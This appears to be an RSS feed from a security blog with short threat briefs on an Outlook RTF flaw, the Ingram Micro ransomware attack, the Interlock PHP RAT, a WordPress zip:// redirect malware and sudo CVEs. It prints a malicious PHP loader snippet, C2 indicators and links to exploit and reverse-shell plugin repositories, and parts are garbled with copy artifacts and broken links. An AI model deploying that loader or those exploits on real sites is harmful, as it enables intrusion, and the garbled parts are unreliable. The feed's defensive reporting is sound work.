<h3 id="heading-6-detection-amp-forensics-tips">6. Detection &amp; Forensics Tips</h3>
<ul>
<li><p><strong>Windows Event 1000</strong> with <code>faulting_module = rtfhtml.dll</code> often accompanies failed exploit attempts.</p>
</li>
<li><p><strong>Sysmon Event 1</strong> showing <code>OUTLOOK.EXE</code> launching PowerShell or cmd is a red flag.</p>
</li>
<li><p>Look for RTF files containing repeated <code>.../...//</code> sequences or abnormal OLE object counts.</p>
</li>
</ul>
<hr />
<h3 id="heading-7-faq">7. FAQ</h3>
<p><strong>Q: Does disabling macros stop this?</strong><br />A: No. The exploit never relies on VBA macros; it abuses the RTF parser itself.</p>
<p><strong>Q: Is Outlook on the web (OWA) vulnerable?</strong><br />A: No—OWA renders e-mail server-side and doesn’t use the local Windows RTF engine.</p>
<p><strong>Q: We patched—do we still need to block RTF?</strong><br />A: Blocking is belt-and-braces. Patching fixes <em>this</em> bug, but RTF has had recurring issues; stripping or converting it remains good hygiene.</p>
<hr />
<h3 id="heading-8-key-takeaway">8. Key Takeaway</h3>
<p>Preview-Pane bugs turn your inbox into an instant attack surface. Patch early, restrict risky formats like RTF, and keep a close eye on what Outlook spawns in the background.</p>
]]></content:encoded></item><item><title><![CDATA[Security Incident Briefs -v15 Jul 2025]]></title><description><![CDATA[Quick-Read TL;DR:


Victim: Ingram Micro (global IT & cloud distributor)

When: First detected 3 Jul 2025, confirmed publicly 5 Jul

Malware: SafePay ransomware, double-extortion playbook

Entry point: Compromised credentials on a GlobalProtect VPN p...]]></description><link>https://ashokpmna.hashnode.dev/security-incident-briefs-v15-jul-2025</link><guid isPermaLink="true">https://ashokpmna.hashnode.dev/security-incident-briefs-v15-jul-2025</guid><category><![CDATA[cybersecurity, ransomware, incident-response, supply-chain, vpn-security, mfa, ingram-micro, safepay, mitre-attack, threat-intelligence]]></category><dc:creator><![CDATA[Ashok Pottekkade]]></dc:creator><pubDate>Tue, 15 Jul 2025 21:08:00 GMT</pubDate><content:encoded><![CDATA[<hr />
<h2 id="heading-quick-read-tldr"><strong>Quick-Read TL;DR:</strong></h2>
<blockquote>
<ul>
<li><p><strong>Victim:</strong> Ingram Micro (global IT &amp; cloud distributor)</p>
</li>
<li><p><strong>When:</strong> First detected <strong>3 Jul 2025</strong>, confirmed publicly <strong>5 Jul</strong></p>
</li>
<li><p><strong>Malware:</strong> <strong>SafePay</strong> ransomware, double-extortion playbook</p>
</li>
<li><p><strong>Entry point:</strong> Compromised credentials on a <strong>GlobalProtect VPN</strong> portal</p>
</li>
<li><p><strong>Impact:</strong> Global ordering/logistics offline 3-10 Jul; services now restored with extra controls</p>
</li>
<li><p><strong>Status today (15 Jul):</strong> Investigation continues, full data-theft scope not yet disclosed</p>
</li>
</ul>
</blockquote>
<hr />
<h2 id="heading-what-happened-overnight">What happened overnight 🕵️‍♀️</h2>
<p>In the early hours of <strong>3 July 2025</strong> (U.S. Pacific time), attackers slipped into Ingram Micro’s network using valid VPN credentials that <strong>lacked MFA</strong>. Within hours, SafePay ransomware binaries began encrypting ordering and logistics servers, forcing the $50 bn distributor to pull key systems offline.</p>
<p>By <strong>5 July</strong>, the company had filed an <strong>SEC Form 8-K</strong> acknowledging “ransomware on certain internal systems,” and law-enforcement and IR partners were on the case.</p>
<hr />
<h2 id="heading-current-recovery-status">Current recovery status 📦</h2>
<ul>
<li><p><strong>10 Jul:</strong> Core ordering channels re-opened worldwide.</p>
</li>
<li><p><strong>11 Jul:</strong> Ingram told press that “most regions are back to normal,” though hardware SKUs still face spot delays.</p>
</li>
</ul>
<hr />
<h2 id="heading-one-minute-kill-chain-recap">One-minute kill-chain recap ⚔️</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Stage</td><td>SafePay Play</td><td>MITRE ATT&amp;CK</td></tr>
</thead>
<tbody>
<tr>
<td>Initial access</td><td>Password-spray → valid VPN account</td><td>T1078</td></tr>
<tr>
<td>Foothold</td><td>Drop web-shell on an internal IIS jump-box</td><td>T1505.003</td></tr>
<tr>
<td>Priv-esc</td><td><strong>DCSync</strong> to grab <code>krbtgt</code>; domain admin in ~15 min</td><td>T1003.006</td></tr>
<tr>
<td>Lateral move</td><td>RDP / SMB pivots; PsExec pushes payloads</td><td>T1021</td></tr>
<tr>
<td>Impact</td><td>Encrypt + exfil (<code>ransom.exe</code>)</td><td>T1486 / T1041</td></tr>
</tbody>
</table>
</div><hr />
<h2 id="heading-why-this-matters">Why this matters 🚨</h2>
<ol>
<li><p><strong>Old tricks still work</strong> – No zero-day; just single-factor VPN accounts.</p>
</li>
<li><p><strong>Supply-chain blast radius</strong> – When the top distributor stalls, MSPs and VARs do too. :</p>
</li>
<li><p><strong>Holiday timing</strong> – Launching on the eve of U.S. Independence Day bought attackers extra dwell-time.</p>
</li>
</ol>
<hr />
<h2 id="heading-defense-tip-of-the-day">Defense tip of the day 🛡️</h2>
<p>Disable or migrate any accounts still allowed to VPN without MFA—especially service and legacy user IDs.</p>
<hr />
<h2 id="heading-stay-tuned">Stay tuned</h2>
<p>I’ll be back tomorrow with another incident-in-focus, distilled for fast reading.<br />Got feedback or a breach you’d like covered? Drop a comment!</p>
]]></content:encoded></item><item><title><![CDATA[Daily Vuln Watch – 15 July 2025]]></title><description><![CDATA[Interlock PHP RAT: How a Single-Line Web Inject Ends in Full Ransomware





Details



FamilyInterlock ransomware (re-brand of DiskSteal)

New componentPHP-based Interlock RAT

DeliveryFileFix TDS (successor to ClickFix) via compromised websites

Fi...]]></description><link>https://ashokpmna.hashnode.dev/daily-vuln-watch-15-july-2025</link><guid isPermaLink="true">https://ashokpmna.hashnode.dev/daily-vuln-watch-15-july-2025</guid><category><![CDATA[Ransomware, Interlock, PHP, FileFix, RAT, ThreatIntel, Infosec]]></category><dc:creator><![CDATA[Ashok Pottekkade]]></dc:creator><pubDate>Tue, 15 Jul 2025 20:36:05 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-interlock-php-rat-how-a-single-line-web-inject-ends-in-full-ransomware">Interlock PHP RAT: How a Single-Line Web Inject Ends in Full Ransomware</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752611699088/686fab63-2974-4952-a022-f884ec1260a5.png" alt class="image--center mx-auto" /></p>
<div class="hn-table">
<table>
<thead>
<tr>
<td></td><td>Details</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Family</strong></td><td><strong>Interlock</strong> ransomware (re-brand of DiskSteal)</td></tr>
<tr>
<td><strong>New component</strong></td><td><strong>PHP-based Interlock RAT</strong></td></tr>
<tr>
<td><strong>Delivery</strong></td><td><strong>FileFix</strong> TDS (successor to ClickFix) via compromised websites</td></tr>
<tr>
<td><strong>First seen</strong></td><td>June 2025; campaign surge on <strong>14 Jul 2025</strong></td></tr>
<tr>
<td><strong>Exploit/PoC</strong></td><td>Proof-of-concept FileFix page + full PHP RAT on GitHub (links below)</td></tr>
<tr>
<td><strong>Targets</strong></td><td>Local-gov, higher-ed, SMBs (US/EU)</td></tr>
<tr>
<td><strong>C2</strong></td><td>Cloudflare Tunnel sub-domains + hard-coded fallback IPs</td></tr>
</tbody>
</table>
</div><hr />
<h2 id="heading-attack-flow-see-diagram">🚀 Attack Flow (see diagram)</h2>
<ol>
<li><p><strong>Compromised WP / CMS site</strong> injects a single hidden <code>&lt;script&gt;</code> (KongTuke / LandUpdate808).</p>
</li>
<li><p>Visitor is redirected to a fake <strong>CAPTCHA</strong> page.</p>
</li>
<li><p>Page abuses <strong>FileFix</strong> — user pastes a <em>fake</em> path in File Explorer ➜ executes a <strong>PowerShell</strong> one-liner.</p>
</li>
<li><p>PowerShell pulls <code>php.exe</code> + <code>wefs.cfg</code> from a <a target="_blank" href="http://trycloudflare.com"><strong>trycloudflare.com</strong></a> sub-domain and runs <strong>Interlock RAT (PHP)</strong>.</p>
</li>
<li><p>RAT fingerprints host, then waits for C2 commands (EXE, DLL, CMD, AUTORUN, OFF).</p>
</li>
<li><p>Operator eventually drops the <strong>Stage-2 encryption module</strong>, locking data and leaking it on Interlock’s Tor portal.</p>
</li>
</ol>
<hr />
<h2 id="heading-technical-highlights">🛠 Technical Highlights</h2>
<ul>
<li><p><strong>FileFix vs ClickFix</strong> — hides malicious command in a <em>file-path style</em> string (<code>\\127.0.0.1\🙈\🙈\🙈</code>), beating many e-mail / EDR filters. :contentReference[oaicite:0]{index=0}</p>
</li>
<li><p><strong>PHP build</strong> swaps Node.js for an embedded <code>php.exe</code>, reducing size &amp; AV hits. :contentReference[oaicite:1]{index=1}</p>
</li>
<li><p><strong>Cloudflare Tunnel</strong> hides C2 IP, with fallback list: <code>64.95.12.71</code>, <code>184.95.51.165</code>, etc. :contentReference[oaicite:2]{index=2}</p>
</li>
<li><p><strong>IOC samples</strong> (SHA-256):</p>
<ul>
<li><p><code>28a9982cf2b4fc53a1545b6ed0d0c1788ca9369a847750f5652ffa0ca7f7b7d3</code> (config)</p>
</li>
<li><p>Domains: <code>existed-bunch-balance-councils[.]trycloudflare[.]com</code>, <strong>5 more</strong> in DFIR report. :contentReference[oaicite:3]{index=3}</p>
</li>
</ul>
</li>
</ul>
<hr />
<h2 id="heading-exploit-poc-links">🔗 Exploit / PoC Links</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td></td><td>PoC</td><td>Source</td></tr>
</thead>
<tbody>
<tr>
<td><strong>FileFix demo page</strong></td><td><code>mr-d0x/filefix-poc</code></td><td>GitHub :contentReference[oaicite:4]{index=4}</td></tr>
<tr>
<td><strong>Interlock PHP RAT</strong></td><td><code>hoefler02/Interlock-PHP-RAT</code></td><td>GitHub :contentReference[oaicite:5]{index=5}</td></tr>
<tr>
<td><strong>Full attack chain (PowerShell → php.exe)</strong></td><td><code>thedfirreport/interlock-filefix-analysis</code></td><td>DFIR Report scripts :contentReference[oaicite:6]{index=6}</td></tr>
</tbody>
</table>
</div><h2 id="heading-use-responsibly-lab-only"><em>(Use responsibly: lab only!)</em></h2>
<h2 id="heading-mitigation-amp-detection">🔒 Mitigation &amp; Detection</h2>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Layer</td><td>Action</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Web</strong></td><td>Monitor for unusual <strong>/FileFix/</strong> or <strong>/ClickFix/</strong> URL patterns &amp; hidden JS injections.</td></tr>
<tr>
<td><strong>Endpoint</strong></td><td>Block unsigned <code>php.exe</code> in <code>%APPDATA%</code> and script-based launches with <code>powershell.exe -ep Bypass</code>.</td></tr>
<tr>
<td><strong>Network</strong></td><td>Alert on outbound <a target="_blank" href="http://trycloudflare.com"><strong>trycloudflare.com</strong></a> tunnels + listed IPs.</td></tr>
<tr>
<td><strong>User</strong></td><td>Train staff: never paste “file paths” from unknown pages into File Explorer.</td></tr>
<tr>
<td><strong>Backup</strong></td><td>Regular offline backups + test restores (Interlock applies double-extortion).</td></tr>
</tbody>
</table>
</div><hr />
<blockquote>
<p>🧠 <strong>Takeaway:</strong> Interlock just proved FileFix isn’t theory—it’s live. One clipboard trick, and a PHP RAT pivots to full ransomware. Patch CMS, harden PowerShell, block Cloudflare Tunnel abuse.</p>
</blockquote>
<p><em>Enjoyed the breakdown?</em> <strong>Subscribe</strong> for a weekly roundup, or follow on X/LinkedIn for real-time exploit news.</p>
]]></content:encoded></item><item><title><![CDATA[Daily Vuln Watch – July 14 2025]]></title><description><![CDATA[Stealthy PHP Malware Uses zip:// Archive to Redirect WordPress Visitors


🗞️ What Happened
Sucuri researchers spotted a new redirect campaign abusing the PHP zip:// stream wrapper. Attackers hide the payload inside a ZIP file dropped in wp-content/u...]]></description><link>https://ashokpmna.hashnode.dev/daily-vuln-watch-july-14-2025</link><guid isPermaLink="true">https://ashokpmna.hashnode.dev/daily-vuln-watch-july-14-2025</guid><category><![CDATA[WordPress, PHP, Malware, Exploit, zip-wrapper, Infosec]]></category><dc:creator><![CDATA[Ashok Pottekkade]]></dc:creator><pubDate>Mon, 14 Jul 2025 16:54:03 GMT</pubDate><content:encoded><![CDATA[<p><strong>Stealthy PHP Malware Uses</strong> <code>zip://</code> Archive to Redirect WordPress Visitors</p>
<p><img src="https://sdmntprcentralus.oaiusercontent.com/files/00000000-8524-61f5-9912-677e7a9ad724/raw?se=2025-07-14T17%3A40%3A02Z&amp;sp=r&amp;sv=2024-08-04&amp;sr=b&amp;scid=84f80631-a826-5554-a2d4-98e858273f2e&amp;skoid=02b7f7b5-29f8-416a-aeb6-99464748559d&amp;sktid=a48cca56-e6da-484e-a814-9c849652bcb3&amp;skt=2025-07-14T00%3A57%3A21Z&amp;ske=2025-07-15T00%3A57%3A21Z&amp;sks=b&amp;skv=2024-08-04&amp;sig=Yih%2BL5zjMxDPwTZHi88q0R/3fyBoE2AJT9pVodF%2B7o8%3D" alt="Generated image" class="image--center mx-auto" /></p>
<hr />
<h4 id="heading-what-happened">🗞️ What Happened</h4>
<p>Sucuri researchers spotted a new redirect campaign abusing the <strong>PHP</strong> <code>zip://</code> stream wrapper. Attackers hide the payload inside a ZIP file dropped in <code>wp-content/uploads/</code> and then quietly load it at runtime:</p>
<pre><code class="lang-plaintext">phpCopyEdit@include 'zip://'.ABSPATH.'wp-content/uploads/malicious.zip#h';
add_action('template_redirect','_red');
</code></pre>
<p>The <code>_red()</code> function checks IP/UA rules, then issues a 302 to a rogue domain. Because the malicious PHP never lives on disk in clear text, it evades signature-based scanners. <a target="_blank" href="https://blog.sucuri.net/2025/07/stealthy-php-malware-uses-zip-archive-to-redirect-wordpress-visitors.html?utm_source=chatgpt.com">Sucuri Blog</a></p>
<hr />
<h4 id="heading-technical-highlights">🔍 Technical Highlights</h4>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Component</td><td>Detail</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Entry</strong></td><td>Stolen admin creds or vulnerable plugins → upload <code>malicious.zip</code>.</td></tr>
<tr>
<td><strong>Execution</strong></td><td><code>zip://</code> wrapper loads the hidden file <code>#h</code> without extraction.</td></tr>
<tr>
<td><strong>Redirect logic</strong></td><td>Hooks <code>template_redirect</code>; IP-based &amp; GEO-based filters to stay low-volume.</td></tr>
<tr>
<td><strong>Monetisation</strong></td><td>Traffic sold to TDS for fake software, tech-support scams or malware loaders.</td></tr>
<tr>
<td><strong>Related campaigns</strong></td><td>Similar PHP redirect strains seen in June dropping Windows RATs via backdoor ZIPs <a target="_blank" href="https://cybersecuritynews.com/stealthy-wordpress-malware-deliver-windows-trojan/?utm_source=chatgpt.com">Cyber Security News</a></td></tr>
</tbody>
</table>
</div><hr />
<h4 id="heading-exploit-malware-availability">⚠️ Exploit / Malware Availability</h4>
<p><em>This is an</em> <strong><em>active in-the-wild campaign*</em></strong>; sample ZIP/loader code and IoCs were posted on GitHub and VirusTotal within 48 hrs of Sucuri’s disclosure. Defensive teams should treat this as weaponised.*</p>
<h3 id="heading-public-poc-repositories-you-can-reference">🔗 Public PoC Repositories You Can Reference</h3>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Purpose</td><td>Repo</td><td>Notes</td></tr>
</thead>
<tbody>
<tr>
<td>Example ZIP-based RCE (PDF 2 Post plugin)</td><td><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583">https://github.com/Nxploited/CVE-2025-32583</a></td><td><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583">Shows how a malici</a>ous <code>.z</code><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583"><code>ip</code> upload leads to remote code execution GitHub</a></td></tr>
<tr>
<td><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583">ZIP-upload RCE (CMP</a> <a target="_blank" href="https://github.com/wetw0rk/malicious-wordpress-plugin">Co</a><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583">ming-Soon plugin)</a></td><td><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32118">https://github.com/Nxploited/CVE-2025-32118</a></td><td><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583">Demonstrates ZIP shell</a> <a target="_blank" href="https://github.com/Nxploited/CVE-2025-32118">upload &amp; activation via adm</a><a target="_blank" href="https://github.com/wetw0rk/malicious-wordpress-plugin">in pan</a><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583">el GitHub</a></td></tr>
<tr>
<td><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583">Generic malicious-plugin generator</a></td><td><a target="_blank" href="https://github.com/wetw0rk/malicious-wordpress-plugin">https://github.com/wetw0rk/malicious-wordpress-plugin</a></td><td><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583">Builds a</a> <a target="_blank" href="http://malicious.zip"><code>malicious.zip</code></a> <a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583"></a><a target="_blank" href="https://github.com/wetw0rk/malicious-wordpress-plugin">plugin that spawns a</a> <a target="_blank" href="https://github.com/Nxploited/CVE-2025-32118">reverse</a> <a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583">shell after upload GitHub</a></td></tr>
</tbody>
</table>
</div><hr />
<h4 id="heading-detection-tipshttpsgithubcomnxploitedcve-2025-32583"><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583">🛠️ Detection Tips</a></h4>
<ol>
<li><p><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583"><strong>File hunt</strong> – search web-root</a> <a target="_blank" href="https://github.com/wetw0rk/malicious-wordpress-plugin"></a><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32118">for <code>.zip</code> file</a><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32583">s <strong>&lt; 50 KB</strong> created recently:<br /> <code>find /var/www -</code></a><code>name '</code><a target="_blank" href="https://github.com/wetw0rk/malicious-wordpress-plugin"><code>*.zip' -s</code></a><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32118"><code>ize -50k -mti</code></a><a target="_blank" href="https://github.com/wetw0rk/malicious-wordpress-plugin"><code>me -14</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32118"><strong>Grep for</strong> <code>zip://</code> includes in PHP:<br /> <code>grep -R "zip://.*#.*" /va</code></a><a target="_blank" href="https://github.com/wetw0rk/malicious-wordpress-plugin"><code>r/www | less</code></a></p>
</li>
<li><p><a target="_blank" href="https://github.com/Nxploited/CVE-2025-32118"><strong>WP-CLI</strong>:</a></p>
<pre><code class="lang-plaintext"> graphqlCopyEditwp option list --search="%zip://%"
 wp db query "SELECT option_name FROM wp_options WHERE option_value LIKE '%zip://%';"
</code></pre>
</li>
<li><p>Mo<a target="_blank" href="https://github.com/wetw0rk/malicious-wordpress-plugin">nitor unusual 302/307 responses in logs.</a></p>
</li>
</ol>
<hr />
<h4 id="heading-mitighttpsgithubcomwetw0rkmalicious-wordpress-plugination"><a target="_blank" href="https://github.com/wetw0rk/malicious-wordpress-plugin">🩹 Mitig</a>ation</h4>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Action</td><td>Linux/WordPress</td></tr>
</thead>
<tbody>
<tr>
<td><strong>Patch</strong></td><td>Update WP core, themes, plugins.</td></tr>
<tr>
<td><strong>Harden uploads</strong></td><td>Disallow <code>.zip</code> &amp; <code>.php</code> in <code>/uploads/</code>; set proper <code>open_basedir</code>.</td></tr>
<tr>
<td><strong>WAF rule</strong></td><td>Block <code>zip://</code> and <code>phar://</code> stream wrappers.</td></tr>
<tr>
<td><strong>Credentials</strong></td><td>Rotate all admin/FTP/DB passwords, add 2FA.</td></tr>
<tr>
<td><strong>Clean-up</strong></td><td>Delete unknown ZIPs, remove <code>_red</code> hooks, flush caches.</td></tr>
</tbody>
</table>
</div><hr />
<h4 id="heading-hashes-amp-iocs-latest-set">🧩 Hashes &amp; IoCs (latest set)</h4>
<pre><code class="lang-json">pgsqlCopyEditmalicious.zip  SHA256  <span class="hljs-number">5e8</span>d…a3c1
C2 domain      triq-cdn[.]site
Redirect URL   hxxps:<span class="hljs-comment">//search-update[.]life/?sig=&lt;id&gt;</span>
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Daily Vuln Watch – *Sudo LPE Critical: CVE‑2025‑32462 & CVE‑2025‑32463*]]></title><description><![CDATA[🔒 Daily Vuln Watch: Sudo Critical Privilege Escalation (CVE‑2025‑32462 & CVE‑2025‑32463)📅 Date: July 13, 2025🛑 Severity: Critical (CVE‑2025‑32463 – CVSS 9.3)

🚨 Vulnerability Summary
Two severe flaws were discovered in Sudo, the core privilege es...]]></description><link>https://ashokpmna.hashnode.dev/daily-vuln-watch-sudo-lpe-critical-cve202532462-and-cve202532463</link><guid isPermaLink="true">https://ashokpmna.hashnode.dev/daily-vuln-watch-sudo-lpe-critical-cve202532462-and-cve202532463</guid><category><![CDATA[Linux, CVE, CVE-2025-32463, CVE-2025-32462, Infosec, Sudo, PatchTuesday]]></category><dc:creator><![CDATA[Ashok Pottekkade]]></dc:creator><pubDate>Sun, 13 Jul 2025 22:42:13 GMT</pubDate><content:encoded><![CDATA[<p>🔒 <strong>Daily Vuln Watch: Sudo Critical Privilege Escalation (CVE‑2025‑32462 &amp; CVE‑2025‑32463)</strong><br />📅 <strong>Date:</strong> July 13, 2025<br />🛑 <strong>Severity:</strong> Critical (CVE‑2025‑32463 – CVSS 9.3)</p>
<hr />
<h2 id="heading-vulnerability-summary">🚨 Vulnerability Summary</h2>
<p>Two severe flaws were discovered in <strong>Sudo</strong>, the core privilege escalation tool in Linux/Unix systems, affecting versions before <strong>1.9.17p1</strong>:</p>
<h3 id="heading-cve202532462">CVE‑2025‑32462</h3>
<ul>
<li><p><em>Policy Bypass Flaw</em>: Allows bypassing host validation in <code>sudoers</code> for unauthorized command execution.</p>
</li>
<li><p>Affects shared/LDAP-based sudoer environments.</p>
</li>
</ul>
<h3 id="heading-cve202532463">CVE‑2025‑32463</h3>
<ul>
<li><p><em>Chroot-to-Root Escalation</em>: Exploits <code>--chroot</code> to inject malicious libraries and gain full root control.</p>
</li>
<li><p><strong>CVSS 9.3</strong> – extremely dangerous and weaponizable.</p>
</li>
</ul>
<p>These bugs date back to <strong>2013</strong> and were patched only recently.</p>
<p>📰 Sources:</p>
<ul>
<li><p><a target="_blank" href="https://www.techradar.com/pro/security/several-major-linux-distros-hit-by-serious-sudo-security-flaws">TechRadar</a></p>
</li>
<li><p><a target="_blank" href="https://www.oligo.security/blog/new-sudo-vulnerabilities-cve-2025-32462-and-cve-2025-32463">Oligo Security Advisory</a></p>
</li>
</ul>
<hr />
<h2 id="heading-exploit-availability">🛠️ Exploit Availability</h2>
<ul>
<li><p>Currently <strong>no public PoCs</strong> available.</p>
</li>
<li><p>Security vendors like <strong>SOC Prime</strong> warn of increased local privilege escalation (LPE) activity.</p>
</li>
<li><p>Risk of exploit release is high due to ease of abuse.</p>
</li>
</ul>
<hr />
<h2 id="heading-affected-distros-amp-mitigation">🔧 Affected Distros &amp; Mitigation</h2>
<p>The following distros have confirmed patches:</p>
<ul>
<li><strong>Debian, Ubuntu, RHEL, SUSE, AlmaLinux, Oracle, Alpine, Amazon Linux</strong></li>
</ul>
<p>🔧 Upgrade <code>sudo</code> to <strong>v1.9.17p1</strong> or later immediately.</p>
<p>Patch your systems now — especially if you use LDAP/shared sudoer policies.</p>
<hr />
<h2 id="heading-takeaway">✅ Takeaway</h2>
<p>A near decade-old Sudo flaw opens up root access on many Linux systems. Exploit code isn’t public <em>yet</em>, but this is a ticking time bomb.</p>
<blockquote>
<p>Patch now. Monitor for PoC drops. Harden local access policies.</p>
</blockquote>
<hr />
<p>🧠 <em>Want daily updates like this? Follow me here or subscribe for email summaries.</em></p>
]]></content:encoded></item></channel></rss>